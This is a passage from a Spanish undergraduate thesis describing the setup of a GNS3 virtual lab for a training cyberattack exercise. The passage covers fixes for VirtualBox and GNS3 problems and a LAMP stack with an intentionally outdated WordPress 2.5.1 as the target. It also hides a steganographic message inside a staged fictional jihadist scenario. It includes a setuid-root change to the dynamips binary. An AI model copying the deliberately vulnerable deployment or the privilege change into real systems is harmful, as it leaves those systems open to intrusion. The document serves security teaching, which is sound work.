que deberemos hacer es entrar en el diente en Edit>Preferences>Server y configurarlo como se
muestra en la Figura 3-8.
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Preferences

General Server preferences

Server

Packet capture
VPCS Local server  Local GNS3 VM | Remote servers | Load Balancing

HlEraEnnE Protocol Host Port
105 routers

v105S on UNIX http  dunquerqu... 8000
10U Devices
vQEMU
Qemu VMs
vVirtualBox
VirtualBox VMs
vVMware
VMware VMs

Protocol: (lZimNd

Host: dunquerque.cud.uvigo.es

Port: 8000 TCP

RAM limit: [el¥l:]

User: tfg

EESIGIGEE S0 0800000000000 0800000000000 008

Add Delete

Cancel

Figura 3-8 Configuracion de GNS3

Esto permitira la conexion al servidor dunquergue y cargar las maquinas virtuales con el asistente.
Tampoco debemos olvidar desactivar la opcién por defecto de Enable local server, ya que nos
conectaremos a un servidor remoto.

Para incorporar las maquinas virtuales, deberemos utilizar Help>Setup Wizard y, a continuacion,
seguir los pasos reflejados en la Figura 3-9, Figura 3-10, Figura 3-11 y Figura 3-12, respectivamente.

Setup Wizard

Server
Please choose a server type to run your GNS3 network simulations. The GNS3 VM is
strongly recommended on Windows and Mac OS X.

® Local GNS3 VM (Dynamips, 10U, VPCS and Qemu will use this virtual machine)

O |Local server

B Don't show this again

MNext > Cancel

Figura 3-9 Setup Wizard 1

En la Figura 3-9, elegiremos donde deseamos ejecutar la simulaciéon. A continuacién, como se
puede ver en la Figura 3-10, deberemos indicar que queremos cargar en la arquitectura las maquinas
virtuales de VirtualBox.
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Setup Wizard

Add virtual machines

Now that you have configured the server type you can choose to add one or more virtual
machines (VMs) of different types.

B Add an 10S router using a real 105 image

B Add an 10U device (router or switch) using an 10U image

B Add a Qemu virtual machine
Add a VirtualBox virtual machine

B Add a VMware virtual machine

< Back Finish Cancel

Figura 3-10 Setup Wizard 2

Como se ve en la Figura 3-11, deberemos indicar la ubicacion de las maquinas virtuales. En este
caso, deberemos indicar que se encuentran en el servidor dunquerque.

Add virt1 o
Now
mach Server

Please choose a server type to run your new VirtualBox
B Add VM.

New VirtualBox VM template 1
irtual

Server type

© Remote @ Local

Remote servers

PULEL R0 http://tFg@dunguerque.cud.uvigo.es:8000 ~

Finish Cancel

Figura 3-11 Setup Wizard 3
Y por ultimo, como se puede ver en la Figura 3-12, solo quedaria ir cargando de una en una las
maquinas del servidor dunquerque. Ya solo faltaria cargar el archivo TFG2.gns3, archivo en el cual se

encuentra configurada la arquitectura de red que se disefi6 en el TFG del Tte Romero Fernandez, y dar
al botdn play para lanzar las maquinas virtuales con su arquitectura ya definida.
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Add virti @

Now t
mach

B Add
W Add:
B Add
¥ Add:
B Add

New VirtualBox VM template
irtual

VirtualBox Virtual Machine
Please choose a VirtualBox virtual machine from the list.

v it ||

B Use as a linked base VM (experimental)

< Back Finish Cancel

< Back Finish

Figura 3-12 Setup Wizard 4

El resultado se puede observar en la Figura 3-13. Aqui ya se pueden ver las conexiones
funcionando y la arquitectura de la maqueta de la red virtual.

TFG2.gns3*

SPD Do
et @ &

[

i HUB1 l:'!;_n.

e M OR> [ PIIEC:FRITOAQE

Internet pfSense_Firewall

DMZ

RVER_WIN20085_1

SERVER ubuntuS_3

=i

=]

Zona de usuarios

Figura 3-13 Arquitectura inicial de la red virtual
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La red inicialmente estara configurada con las maquinas virtuales segun se indica en la Tabla 3-1.

USER_WINS.1_1 WINE.1_x64 1@100% 2048MB 12GB 1 3891
USER_WINS.1_2 WINE.1_x64 1@50% 2048MB 12GB 1 3892
USER_WINS.1_3 WINS.1_x64 1@>0%  2048MB 12GB 1 3893
USER_WIN7_1 WINT_x64 1@50% 2048MB 12GB 1 3901
SERVER_WIN2008 WIN Server 1@100% 1024MB 25GB 1 3911
S 1 2008R2 (x64)
SERVER_WIN2008 WIN Server 1@100% 1024MB 25GB 1 3912
S 2 2008R2 (x64)
SERVER_UBUNTU Ubuntu Server 1@75%  512MB 15GB 1 3921
S 1 14.04 (AMDG64)
SERVER_UBUNTU Ubuntu Server 1@75%  512MB 15GB 1 3922
S 2 14.04 (AMD64)
SERVER_UBUNTU Ubuntu Server 1@75%  512MB 15GB 1 3923
S 3 14.04 (AMDG64)
pfSense BSD_x64 1@50% 1024dMB  2GB 3 3930
(pfSense)

Tabla 3-1 Configuracién de las maquinas virtuales de la maqueta de red [12]

3.4.1.1 Dificultades asociadas a GNS3

Durante este procedimiento se han encontrado algunas dificultades que no han permitido conectar
la arquitectura de red correctamente. A continuacion hablaremos de ellas y de como se han
solucionado.

La primera de ellas se debid a un problema en algunos médulos del kernel [76]. Estos modulos son
fragmentos de codigo que pueden ser cargados y eliminados del nucleo bajo demanda. Algunas veces,
estos codigos interfieren con VirtualBox produciendo, como se puede ver en la Figura 3-14, un
problema en el software. Para solventarlo y poder hacer uso de VirtualBox en el servidor, donde se
cargan las maquinas virtuales, es necesario eliminar y volver a cargar dichos médulos.

Archivo Maquina Ayuda

0 :
{:} é;:} g ® > & Detalles (@) Instantaneas (3)
Nueva Configuracion Descartar  Iniciar

$) Nuevo grupo 2 =] General =] Previsualizacién =
EJE USER WIN7 1 (Bas..) Nombre: USER_WIN7_1

WL O Apagada | Sistema operativo: Windows 7 (64-bit)

USER_WINS.1 1 (B...) ? VirtualBox - Error
Eit] @ Apagada ) » ) USER_WIN7_ 1
Fallo al abrir una sesion para la maquina = =
ETJ SERVER_WIN20... (...) virtual USER_WIN7_1.
Yﬁﬁﬁ @ Apagada
2 Py
s@sz\;::a_::unt .. VT-x is being used by another hypervisor
(VERR_VMX_IN_VMX_ROOT_MODE).
USER_WINS.1 2 VirtualBox can't operate in VMX root mode.
@ Apagada Please disable the KVM kernel extension,
recompile your kernel and reboot

eJJy USER WINB.1 3 (VERR_VMX_IN_VMX_ROOT_MODE). pd

8:14 @ Apagada AR e Sl =
t’f-!’r SERVER_ubuntus_2

J © Apagada Codigo Resultado: NS_ERROR FAILURE

(0x80004005)

SERVER_ubuntuS_3 Comp : Consol p GB)

/‘ @ Apagada Interfaz: IConsole ditions.iso (55,76 MB)

{872da645-4a9b-1727-
' 8 e2- ee
(3] pfsense Firewall bee2-5585105b9eed}
@ Apagada 1

_j Copiar |

Figura 3-14 Problema en la carga de VirtualBox

N £
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El segundo de los problemas, como se puede ver en la Figura 3-15, fue debido a un error en lo que
respecta a versiones diferentes entre GNS3-cliente y GNS3-server. La version actual para descargar
GNS3 es la 2.1.3 y la version que habia en el servidor dunquerque era la 1.4.0. Para solucionarlo fue
necesario cargar en la estacion de trabajo la misma version que GNS3-server.

$ sudo apt-get install python3-pip
$ sudo pip3 install gns3-gui==1.4.0

New project Projects library

New project
WETNER untitled

Connection ko server
ck if GNS3 is
er version is 2.0.3.

oK

Settings Cancel

Figura 3-15 Problema con las versiones de GNS3-cliente y GNS3-server

Una vez cargadas las mismas versiones, como se puede ver en la Figura 3-16, apareci6 un tercer
problema, y se debia a uno de los paquetes de dynamips de la versién 1.4.0 que hubo que modificar.
Para solucionarlo, basté con instalar la version compatible de dynamips y GNS3-server en el servidor,
aunque también se podria haber modificado el paquete de dynamips de la versiobn GNS3-cliente de la
siguiente forma.

$ sudo apt-get install libelf-dev

$ sudo apt-get install libpcap0.8-dev

$ git clone git://github.com/GNS3/dynamips.qgit

$ cd dynamips

$ mkdir build

$ cd build

$ cmake ..
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=3 OFE> P IEC:ERIOQAB

et pfSense_Firewall DMZ_SW
HUB1
— ) DMZ
o -
SERVER ubuntus_1 SERVER WIN2008S 1
) |
_ub _2 _WIN2008S _2
Rl R
sw1 | v | )
E SERVER_ubuntus_3
)
USER WIN7 1 5eg wins.1 1USER WINS.1 2 USER WING.1 3
> I-ml
Iuﬂ. Iml lm. K
5 I
GNS3 management console.
Running GNS3 version 1.4.0 on Linux (64-bit) with Python 3.5.2 Qt 5.5.1.
Copyright (c) 2006-2018 GNS3 Technologies.
=> Server error from http://tfg@dunquerque.cud.uvigo.es:8000: DMZ_SW: Unknown command "uuid'
Server error from http://tfg@dunquerque.cud. uwgo e5:8000: HUB1: Unknown command 'uui
Server error from http://tfg@dunquerque.cud.uvigo.es:8000: SW1: Unknown command "uuid'

549057834389 Y: 71.4234482783624 Z: 2.0

Figura 3-16 Problema en el paquete dynamips

El altimo problema por solucionar, como se puede ver en la Figura 3-17, se debi6 al paquete de
dynamips que instalamos en el servidor dunquerque. Este problema causd que hubiese enlaces entre

maquinas virtuales, pero no conexion con la nube para la conexion a Internet. Para solucionarlo, hubo
que dar permisos de root a dicho paquete.

$ chmod root:root dynamips

$ chmod +s dynamips

IHHBEC FRIOoOQQAQrm

{SERVER_ubuntus_3}

m. Lo _._.I.l;_;k...;._ ......... i |

[SERVER_ubyhtus_2|

........................
........................
_____________________

Figura 3-17 Problema en los permisos del paquete dynamips

Una vez solucionados todos estos errores, como se puede ver en la Figura 3-18, conseguimos hacer
uso de la maqueta virtual desde la red de LABORATORIOS del CUD.
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Internet pfSense_Firewall
— HUBL DMZ

3, —— 1 | y
SERVER_ubuntu$ RVER_WIN20085_1

Zona de usuarios

Figura 3-18 Maqueta de maquinas virtuales en red en funcionamiento

3.4.2 Transferencia de ficheros con Filezilla

Para poder cargar la arquitectura de red en nuestra estacion de trabajo, deberemos primero
transferir el proyecto de GNS3 a traves de Filezilla del servidor dunquerque a nuestro equipo. El
proyecto, como se puede ver en la Figura 3-19, se encuentra dentro del servidor en
TFG/GNS3/projects/TFG2.gns3. El puerto en el cual escuchara el servidor dunquerque sera el puerto

22,

ty B3 = ) 1550 &

sftp://tFig@dunquerque.cud.uvigo.es - FilezZilla
iv@@@@ﬂ:&: « v BRTH

Servidor: |sftp://dunquerque.| Nombre de usuario: |tfg | Contrasefia: |sesessseases Puerto: | | Conexit

—_— s e I At A
——llEstado:  Listing directory /home/tfg/TFG/GNS3

S E stado: Directory listing of "/home/tfg/TFG/GNS3" successful
Estado: Retrieving directory listing of "/home/tfg/TFG/GNS3/projects”...
Estado: Listing directory fhome/tfg/TFG/GNS3/projects
Estado: Directory listing of "/home/tfg/TFG/GNS3/projects" successful

sitio local: | fhome/armijo/Documentos/ | = || | sitio remoto: | fhome/tfg/TFG/GNS3/projects =)
=T
. ¥ Documentes ¥ B GNS3
* W Escritorio @ configs
»  J GNS3 @ images
> W Imdgenes » ) projects

& Miicira

Nombre de archi Tamafio de Tipo de archiv Ultima modificac Nombre de Tamano dt Tipo de arc Ultima modifi Permisos = Propietaric

.. -
[] server linu... 1,1GB ova-archivo  06/02/18 10:26... W 66d2... Directorio 01/02/1620... drwxrw... tfgtfg
W Fafe7... Directorio 01/02/1620... drwxrw... tfgtfg

M TFG2... 31,3KB gns3arc.. 20/02/1612... -Tw-rw-r—

19D DD J

nl [

1archivo. Tamafo total: 1,1 GB 1 archivo seleccionado. Tamano total: 31,3 KB

servidor/Archivo local Direccid Archivo remoto Tamafo Priorida Estado

lL@r(hiws en cola |Transferencias fallidas | Transferencias satisfactorias

L

Sem Cola: vacia e

Figura 3-19 Conexion con dunquerque a traveés de Filezilla
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3.4.3 Conexidn al servidor

A través del protocolo SSH, como se puede ver en la Figura 3-20, podremos conectarnos desde
una terminal al servidor dunquerque. Utilizaremos el comando -X para indicar que la salida grafica se
redirija hacia el cliente. Por defecto nos conectaremos al puerto 22; si quisiéramos conectarnos a traves
de otro puerto, utilizariamos el comando —p.

$ sudo ssh tfg@dunquerque.cud.uvigo.es -X

tFg@dunquerque: ~
I armijo@armijo-Lenovo-B58-88:~5% ssh tfg@dunquerque.cud.uvigo.es -X
@ tfg@dunquerque.cud.uvigo.es's password:
Welcome to Ubuntu 14.04.5 S (GNU/Linux 3.16.0-57-generic x86_64)

* Documentation: https://help.ubuntu.com/
System information as of Tue Feb 6 15:50:11 CET 2018

System load: .96 IP address for emil:
e of of 247.3BGB IP address fo
ry usage: 1 IP address for
ge: g IP address fo
IP address
Users logged in

=> There is 1 zombie process.

Graph this data and manage this system at:
https://landscape.canonical.com/

59 packages can be updated.
36 updates are security updates.

New release '16.04.3 LTS' available.
Run 'do-release-upgrade' to upgrade to it.

?
B
7
=

Last login: Tue Feb 6 15:48:19 2018 from 178.60.33.226
tfg@dunquerque:~S$ I

> I

Figura 3-20 Conexion por SSH al servidor

Por lo general trabajaremos a través de escritorio remoto, exceptuando aquellas veces que
necesitemos reiniciar tanto el GNS3-server como el software de VirtualBox en el que corren las
maéaquinas virtuales de la red virtual.

3.5 Implementacion del ejercicio propuesto en la maqueta

Antes de comenzar el ciberejercicio planteado, crearemos una maquina virtual con el sistema
operativo Ubuntu Server 14.04, el cual usaremos como servidor web para que sirva de partida como
escenario del ciberataque que se va a llevar a cabo. La plataforma elegida para configurar la pagina
web es Wordpress [77], uno de los gestores de contenidos mas utilizados en la actualidad. Las razones
por las que hemos elegido este software son dos: su alto historial de vulnerabilidades y el gran nimero
de actualizaciones al que ha tenido que hacer frente esta plataforma para ofrecer el nivel de seguridad
adecuado. Al tratarse de una plataforma tan extendida a nivel mundial, se ha convertido en uno de los
principales objetivos de los ciberatacantes. La version actual de Wordpress es la 4.9.2. En nuestro
caso, instalaremos una de las versiones anteriores, la version 2.5.1.

Una vez configurada la méaquina virtual, deberemos instalar algunos paquetes de software
necesarios, conocidos como LAMP (Linux, Apache, MySQL y phpmyadmin), para la instalacion de
Wordpress.

3.5.1 Apache

Apache [78] es un servidor web HTTP de codigo abierto que tendra como funcion alojar nuestras
paginas web, en este caso la que disefiemos con el software de Wordpress. Al igual que ocurrira con la
base de datos de MySQL, Apache podré ser instalado directamente desde el repositorio de Ubuntu a
través de la siguiente linea de comandos.
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$ apt-get install apache2

Una vez instalado, para evitar el error “Could not reliably determine the server’s fully qualified
domain name, using 127.0.1.1. Set the ‘ServerName’ directive globally to suppress this message”
deberemos editar el fichero apache2.conf, como se puede ver en la Figura 3-21, y escribir al final del
archivo ServerName localhost [79].

$ sudo nano /etc/apache2/apache2.conf

GNU nano Z2.2.6 Archivo: rsetcrapacheZ apacheZ .conf Modif icado

"wuivp zh 21 xuost N"seN" xos 20 Nz{Referertin” N'z{User—-Agent}in"" vhost_combined
Ysh #1 zu st NUueNY xrs 20 NUs{Referertin” \z{User-Agent}in"" combined

Ysh #1 zu st N"ueN" x»s 20" common

"v{Referer}i -> »U" referer

"w{User—-agent}i" agent

# Include of directories ignores editors’ and dpkg's backup files,
t =ee README.Debian for details.

t Include generic snippets of statements
IncludeOptional conf-enabled.=.conf

t Include the virtwal host configurations:
IncludeOptional sites-enabled-s=.conf

k vim: syntax=apache ts=4 su=4 sts=4 sr noet
FerverName localhost

Figura 3-21 Solucion del error ServerName

Para confirmar la correcta instalacién y el funcionamiento de este servidor, bastara con dirigirnos
en la web a nuestro dominio (localhost) y, como se ve en la Figura 3-22, debera aparecer la pagina de
inicio de Apache.

Apache2 Ubuntu Default Page: It works - Mozilla Firefox Ty = 4) 19:50 %

Apache2 Ubuntu Default x W3

€ ®192.168.32.113 0% a3+ A9 =

@ Apache2 Ubuntu Default Page

%_

This is the default welcome page used to test the correct operation of the Apache2 server after installation
on Ubuntu systems. It is based on the equivalent page on Debian. from which the Ubuntu Apache
packaging is derived. If you can read this page, it means that the Apache HTTP server installed at this site
is working properly. You should replace this file (located at /var/www/html/index. html) before
continuing to operate your HTTP server.

[ m e

If you are a normal user of this web site and don't know what this page is about. this probably means that
the site is currently unavailable due to maintenance. If the problem persists. please contact the site's
administrator.

Ubuntu's Apache2 default configuration is different from the upstream default configuration, and split into
several files optimized for interaction with Ubuntu tools. The configuration system is fully documen ted
in Debian.gz. Refer to this for the full documentation
Documentation for the web server itself can be found by accessing the manual if the apache2-doc
package was installed on this server.

The configuration layout for an Apache2 web server installation on Ubuntu systems is as follows:

/setc/apache2/
[-- apache2.conf

‘.. ports.conf
[-- mods-enabled
I f-- *. load
I ‘-~ *.conf
[-- conf-enabled
I ‘-~ *.conf
[-- sites-enabled
[ D

IEEECE

-

Figura 3-22 Pagina de Apache en localhost

3.5.2 MySQL

MySQL [80] es un sistema de gestion de bases de datos necesario para gestionar las diferentes
bases de datos de nuestro servidor. Una de estas bases de datos seré la utilizada por Wordpress. Para su
instalacion basta con utilizar directamente el repositorio de Ubuntu.

$ apt-get install mysgl-server

A continuacion, tras el comienzo de la instalacion, como se ve en la Figura 3-23, nos pedira
indicar una contrasefia de administracion que posteriormente deberemos confirmar.
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1 Conf iguracidn de mysql-server-5.5
Se recomienda que configure una contrasefia para el usuwario «rout» (administrador) de MySQL,
aungue no es obligatorio.

Mo =e modificara la contrasefia =i deja el espacio en blanco.
Mueva contrasefia para el wsuario =root= de MySQL:

<Aceptar>

Figura 3-23 Instalacion de MySQL

A continuacion veremos como se configura esta base de datos desde la herramienta phpmyadmin.
3.5.3 Phpmyadmin

Phpmyadmin [81] es una herramienta escrita en PHP con la intencion de manejar, administrar y
configurar MySQL a través de una interfaz web. Actualmente permite: crear y eliminar bases de datos,
crear, eliminar y alterar tablas, borrar, editar y afiadir campos, ejecutar cualquier sentencia SQL,
administrar claves en campos, administrar privilegios y exportar datos en varios formatos.

Para instalarlo en el servidor de Ubuntu deberemos ir a la consola.
$ apt-get install phpmyadmin
Como vemos en la Figura 3-24, deberemos seleccionar la opcién de Apache2.

Conf iguracion de phpmyadmin
Por favor, elija el servidor web que se deberia configurar automaticamente para que ejecute
phpMyfdmin.

Servidor web gque desea reconfigurar automaticamente:

[ 1 apacheZ
[ 1 lighttpd

{Aceptar>

Figura 3-24 Eleccion de servidor web

Posteriormente, deberemos elegir para el usuario root, una contrasefia con la que acceder a la base
de datos MySQL desde phpmyadmin.

Como MySQL se ejecutara en el propio servidor, al igual que en la Figura 3-25, elegiremos la
opcidén de configurar la base de datos a través de dbconfig-common.
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| Configuracion de phpmyadmin |

Es necesario tener una base de datos instalada y configurada para phpmyadmin antes de poder
utilizarlo. Puede gestionar esto opcionalmente a través =dbconf ig—common=.

5i vd. ez un administrador de bases de datos avanzado o si la baze de datos ya esta
instalada y configurada guizas quiera realizar esta configuracidn manualmente, y deberia
rechazar esta opcion. Probablemente podra encontrar los detalles de las operaciones que debe
realizar en =-usr-share-doc-phpmyadmin>.

Deberia escoger esta opcidn en cualquier otro caso.

&Desea conf igurar la base de datos para phpmyadmin con «dbconf ig—common=7?

<No>

Figura 3-25 Configurar a través de dbconfig-common
Por altimo, para definir el acceso a phpmyadmin, deberemos ejecutar en la consola los siguientes
comandos:
$ cd /var/www/html/
$ sudo In —s /usr/share/phpmyadmin

De esta manera habremos creado un vinculo de la carpeta phpmyadmin al directorio desde el cual
Apache sirve las paginas web. Antes de arrancar correctamente phpmyadmin, debemos reiniciar
apache.

$ sudo service apache2 restart

Si la configuracion se ha realizado correctamente, al ingresar en el buscador
http://localhost/phpmyadmin, debera aparecer algo similar a lo que se presenta en la Figura 3-26.

hpMyAdmin - Mozilla Firefox 1y 3 B9 4) 1048 %

o

At phpMyAdmin

€ O & 192.168.32.175 B c wBe & & O =

php
Bienvenido a phpMyAdmin

Idioma - Language

Espanol - Spanish :I

Iniciar sesion @

Usuario:
root
Contrasena:

Continuar

pppEAAYPED I

Figura 3-26 Phpmyadmin en localhost

A través de esta pagina y mediante el usuario root y la contrasefia que hayamos configurado en los
pasos anteriores, accederemos a nuestra base de datos de MySQL y realizaremos en ella las
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modificaciones que consideremos. En nuestro caso, como se puede ver en la Figura 3-27, crearemos
una nueva base de datos llamada ‘“Wordpress’.

Bases de datos

i Crear base de datos g

wordpress| Cotejamiento :I Crear

Base de datos . Accion

information_schema =3 Comprobar los privilegios
mysqgl ==| Comprobar los privilegios
performance_schema =3 Comprobar los privilegios
phpmyadmin ==| Comprobar los privilegios

Total: 4

Figura 3-27 Creacion de base de datos Wordpress

A su vez crearemos un usuario llamado “Wordpress”. Como se puede ver en la Figura 3-28, es
importante otorgarle a este nuevo usuario de la base de datos que utilizard Wordpress los respectivos
permisos necesarios.

™ LT Servidor: localhost » [ Base de datos: wordpress

4 Estructura [ SQL -4 Buscar | Generar una consulta | Exportar

Base de datos para el usuario

") crear base de datos con el mismo nombre y otorgar todos los privilegios
- Otorgar todos los privilegios al nombre que contiene comodin (username\_%)

Otorgar todos los privilegios para la base de datos "wordpress"

Privilegios globales (Marcar todos /Desmarcar todos)

Nota: Los nombres de los privilegios de MySQL estén expresados en inglés

Datos Estructura Administracién

SELECT CREATE GRANT

INSERT ALTER SUPER

UPDATE INDEX PROCESS

DELETE DROP RELOAD

FILE CREATE TEMPORARY TABLES SHUTDOWN
SHOW VIEW SHOW DATABASES
CREATE ROUTINE LOCK TABLES
ALTER ROUTINE REFERENCES
EXECUTE REPLICATION CLIENT
CREATE VIEW REPLICATION SLAVE
EVENT CREATE USER
TRIGGER

.phprtoken=ff18b2ac27375c¢5058fdfe5955bF6950#

Figura 3-28 Permisos del usuario Wordpress

3.5.4 Instalacion de Wordpress

Una vez configurados los diferentes paquetes de software LAMP de nuestro servidor, es momento
de instalar Wordpress 2.5.1

Para ello, primero deberemos descargar y descomprimir los paquetes necesarios.
$ cd /var/www/html/
$ sudo wget http://es.wordpress.org/wordpress-2.5.1-es_ES.zip
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$ sudo unzip wordpress-2.5.1-es_ES.zip
$ sudo rm wordpress-2.5.1-es_ES.zip

A continuacion, accederemos a la nueva carpeta descomprimida de Wordpress y veremos como,
en dicha ubicacidn, tenemos todos los archivos necesarios. Como se puede ver en la Figura 3-29, es
recomendable copiar el archivo wp-config-sample.php.

$ sudo cp wp-config-sample.php wp-config.php

Eerver@server :svar-uwwwshtml vordpress

index.php wp—atom.php up—cron. php up—pass . php up—trackback. php
up-hlog-header . php up-feed.php up—rdf . php xmlrpc.php
wp—comments—post . php wp—register.php
wp—commentsrssZ.php  wp-links-opml.php wp-rss2.php
wp—conf ig—sample.php wp-login.php wp-rss.php

wp-mail.php wp-settings.php
Eerver@server svarsuuu htnl uordpress$ sudo cp wp—conf ig—sample.php wp—conf ig.php
.eruerﬂseruer:/uar/uuu/htm1/uurdpress$ _

Figura 3-29 Archivos de Wordpress

Deberemos abrir con el editor de textos el archivo wp-config.php y configurarlo con los datos de la
base de datos y el usuario que creamos anteriormente a través de phpmyamin en MySQL (Figura
3-30).

GNU nano 2.2.6 Archivo: wp—config.php

ef ine ("DB_NAME', 'wordpress’):
ef ine ("DB_USER’, 'wordpress’):
ef ine (" DB_PASSWORD' ,

ef ine ("DB_HOST', 'localhost'):
ef ine("DB_CHARSET' , "utf8’):
ef ine (" DB_COLLATE', "'J:

ef ine ("SECRET_KEY', "pon agui tu frase especial’):

Gtable_prefix = 'wp_':

ef ine ('WPLANG', 'es_ES'):
* Mo edites desde agui =~
ef ine("ABSPATH' , dirname(_ FILE_ ).'~"):

require_once (ABSPATH. "wp-settings.php’ ):
(4

Figura 3-30 Configuracion de datos de Wordpress
Una vez configurado Wordpress, deberemos darle permisos de escritura al directorio
Ivar/www/html/wordpress/wp-content para poder instalar temas, plugins, actualizaciones, etc.
$ sudo chmod —R 775 wp-content/

Ya solo faltaria la propia instalacion de Wordpress como pagina web. Para ello, como vemos en la
Figura 3-31, accederemos a través de un buscador web a https://localhost/wordpress/wp-
admin/install.php.
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WordPress > Instalacion - Mozilla Firefox B3 = o 1m0 %

WordPress Instalacion % g

€ ©192.168.32.175 [ earch *B 3 A 9 =

@WORDPRESS

Mensaje de bienvenida

iBienvenido al proceso de instalacion en cinco minutos de WordPress! Tal vez quieras leer tranquilamente
la Documentacion del archivo Léeme. En caso contrario, rellena los datos mas abajo y en seguida estards
utilizando Ia plataforma de publicacion personal més potente y extensible del mundo

Datos necesarios

Por favor, rellena los siguientes datos. No te preocupes, siempre podras cambiarlos mas adelante.
Comprueba bien esa direceién antes de continuar.

Titulo del blog

Permitirque mi biog aparezca &n motores de bisqueds como Google y Technorat

Instalar WordPress

WpRAEANYDDDEme

Figura 3-31 Inicio del proceso de instalacién de Wordpress

Como podemos ver en la Figura 3-32, para finalizar la instalacién, Wordpress nos facilita por
defecto el usuario admin y una contrasefia que deberemos modificar cuando accedamos a la pagina
web por primera vez.

WordPress > Instalacion - Mozilla Firefox B = ) 14
wordPressInstalacion  * Y3
€ ©|192.168.32.175 < ea wBEa ¥ A =
(&) WornPress
iConseguido!

WordPress se ha instalado. ;Esperabas més pasos? Sentimos decepcionarte

usuario admin

Contrasefia NP&g!Quli“wD

iApunta esta contraseia con cuidado! Es una contrasefia aleatoria generada solo para ti

Iniciar sesién

BB PR D D06

Figura 3-32 Finalizacion de instalacion de Wordpress

3.5.5 Configuracion de Wordpress

3.5.5.1 Zona publica

Tras la instalacion de Wordpress, configuraremos un disefio sencillo. Este servidor servira como
introduccién al ejercicio de ciberataque. Simularemos, como se puede ver en la Figura 3-33, un blog
asociado a una ferreteria online. Sin embargo, esta pagina web pertenecera a una red yihadista la cuél
sera investigada por el CNI. A raiz de este descubrimiento, deberemos infiltrarnos en la red LAN
yihadista y obtener informacion clasificada.

Para darle un poco de realismo, se han afiadido algunos enlaces a paginas web de ferreterias
online. Ademas, se han afiadido dos entradas publicitarias que a simple vista no parecen tener nada
especial.
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P - 1
Esta es la tinica ferreteria de verdad Enlaces
14 de Febrero de 2018

Marzo 2018
L M X J V s D

1 2 3 4
5 6 7 8 9 lou
12 13 14 15 16 17 18
19 20 21 22 23 24 25
26 27 28 29 30 31
«Feb

Buscar ‘

Compre a través de esta pagina y le garantizamos un descuento de hasta al menos
EL 40%

Publicado en General | 1 comentario »

Figura 3-33 Pagina principal de la ferreteria online

En la web que hemos creado anteriormente hay dos imagenes publicas que hemos preparado para
que la persona que esta desarrollando el ciberejercicio las explote en busca de informacion. A ojos de

una persona que carezca de conocimientos informaticos podrian pasar desapercibidas, sin embargo,
por medio de la esteganografia, hemos ocultado un mensaje en una de ellas.

Primero, como vemos en la Figura 3-34, hemos elegido el mensaje que queremos ocultar.

espariol inglés drabe Detectaridioma -

Necesito planes de ataque %
Estoy en contacto

0 ¥ 43/5000
%,  inglés espafiol drabe - PEN SLHLL;\EU E'ﬁ;ﬁ

Juail e Ul
0o <

f Sugerir un cambio

Figura 3-34 Traduccion del mensaje al arabe [82]
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Es importante traducir el mensaje a la inversa para asegurarnos de que es traducido correctamente
por el traductor de idiomas [82]. Hemos elegido el arabe como idioma de comunicacién del terrorista.

e Seguidamente, como podemos ver en la Figura 3-35, deberemos escribir un mensaje en un
editor de texto, para lo cual nosotros hemos escogido el editor nano.

" armijo@armijo-Lenovo-B50-80: ~
GNU nano 2.5.3 Nuevo bufer Modificado

Jr | ds elde | bz
Selrag e

i ver ayuda g8 Guardar @Y Buscar Whl Justificargd Posicioén
Wi Leer fich.@ Reemplazar{@ll Pegar txt @@l Ortografiagl Ir a linea

Figura 3-35 Mensaje de la fotografia

e Escogemos la fotografia en la cual queremos esconder el mensaje mediante esteganografia.
La imagen elegida, como se ve en la Figura 3-36, aparecera en una de las entradas de
nuestra pagina web de la ferreteria online.

Figura 3-36 Imagen elegida

e A continuacion, haremos uso de una de las muchas herramientas orientadas a la
esteganografia en la actualidad. En este caso, utilizaremos Steghide [83] debido a su
facilidad e interpretacion de los resultados. Esta herramienta nos permitira ocultar un
mensaje en formato .txt en una imagen .jpg. Para instalarla, lo haremos desde el repositorio
de Ubuntu.

o $sudo apt-get install steghide

e Guardando el archivo de texto al cual hemos denominado ‘arabe.txt’ y la fotografia de la
ferreteria denominada ‘ferreteria.jpg’ en la misma ubicacion, ejecutamos los siguientes
comandos.

55



FERNANDO HERNANDEZ DE ARMIJO CASAS

o $sudo steghide embed —cf ferreteria.jpg -ef arabe.txt

El resultado ser& el propio archivo imagen de la ferreteria con el archivo de texto oculto en
ella. En la Figura 3-37 se puede ver la secuencia que se ha seguido. Como se puede
observar, el propio programa nos da la oportunidad de cifrar el archivo de texto dentro de
la imagen con una contrasefia. Puesto que no contiene informacion relevante, hemos
decidido no cifrarlo. De este mensaje se debe sacar una conclusion clara: dentro de esta red
se espera gue alguien enlace con el fin de mandar un plan terrorista.

o

armijo@armijo-VirtualBox: ~/Escritorio

armijo@armijo-VirtualBox:~/ ritorio$ 1s

arabe.txt ferreteria.jp

armijo@armijo-VirtualBox:~/Escritorio$ steghide embed -cf ferreteria.jpg -ef arabe.txt
Anotar salvoconducto:

Re-ingresar salvoconducto:

adjuntando "arabe.txt" en "ferreteria.jpg"... hecho

armijo@armijo-VirtualBox:~/Escritorio$

Figura 3-37 Esteganografia

3.5.5.2 Zona privada

Hasta ahora, nos hemos dedicado a la apariencia publica de nuestra pagina web, no sin antes
ocultar un mensaje que nos permita identificar el objetivo que queremos conseguir con el ciberataque.

A continuacion, nos centraremos en la parte privada de nuestra web de la ferreteria online, aquella
en la cual solo administradores y personal registrado puede acceder. Esta zona del blog la
configuraremos acorde a publicaciones y entradas privadas con ideas claramente partidarias del
yihadismo. Como podemaos ver en la Figura 3-38, dentro de la seccion de enlaces de nuestro sitio web,
donde en principio solo habia enlaces publicos a las diferentes secciones de una ferreteria, hemos
afiadido algunos enlaces privados con informacién sobre el yihadismo.

. Nombre Categorias Visible
Electronica https:/fferreteria.es/hogar/hoga Enlaces Si
Descuentos en
electronica
Fontaneria https:/fbricomart.es/fontaneria.... Enlaces Si
Descuentos en
fontaneria
Herramientas https:/fferreteria.es/ferreteria. .. Enlaces Si

Descuentos en
herramientas

Isis https:/fes.wikipedia.org/wiki/Es... Enlaces Mo
Islamismo https:ffes.wikipedia.org/wikifls... Enlaces Mo
Jardineria https:/fferreteria.es/jardin. html Enlaces Si
Descuentos en

jardineria

Venta de armas https:/ftiendashoke.esfarmeria-o... Enlaces Mo
Yihad publico.es/internacionalfviolenc... Enlaces No

Figura 3-38 Enlaces publicos/privados
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Ademas, también se han afiadido algunas entradas privadas que solo se revelan en la pagina web al
personal que dispone de una cuenta y que se ha logueado en la web. En este caso, como muestra la
Figura 3-39, hemos elegido algunas fotos de Internet publicitando el movimiento yihadista.

